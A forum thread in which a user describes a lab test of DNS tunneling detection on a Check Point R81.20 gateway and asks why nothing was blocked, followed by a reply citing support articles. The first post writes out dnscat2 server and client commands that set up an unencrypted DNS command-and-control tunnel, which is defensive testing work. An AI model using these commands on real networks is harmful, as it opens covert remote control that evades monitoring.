R81.20 DNS Tunneling Detection ?

LongjiangLI — Sun, 22 Oct 2023 13:13:37 GMT

Hi Expert ，

As we know ,The R81.20 has publish a new feature DNS security blade . I have try use the DNSCAT2 to testing the DNS tunneling attack but not found any prevention log , ONLY see the firewall DNS log .

In the gateway enable Anti-bot、Anti-malware and IPS blade ;

Testing topology : DNSCAT2_Server < ---> Gateway< ---> DNSCAT2_Client

Form DNSCAT2 Server side use command "ruby ./dnscat2.rb --security=open " create a DNS listen and without encryption . In the Client side use command " ./dnscat --dns server=10.0.20.2,port=53 " CC to server . When the establish can use that tunnel doing any action on the client PC .

Base on this lab , I want know why haven't catching the DNS tunneling ,Thanks !

Re: R81.20 DNS Tunneling Detection ?

Chris_Atkinson — Mon, 23 Oct 2023 01:04:29 GMT

To start could you please confirm how your configuration is set per: sk74120 / sk92224

Please also verify how this protection is currently set?

Refer also: sk178487 - ThreatCloud DNS Tunneling Protection

topic R81.20 DNS Tunneling Detection ? in Firewall and Security Management

R81.20 DNS Tunneling Detection ?

Re: R81.20 DNS Tunneling Detection ?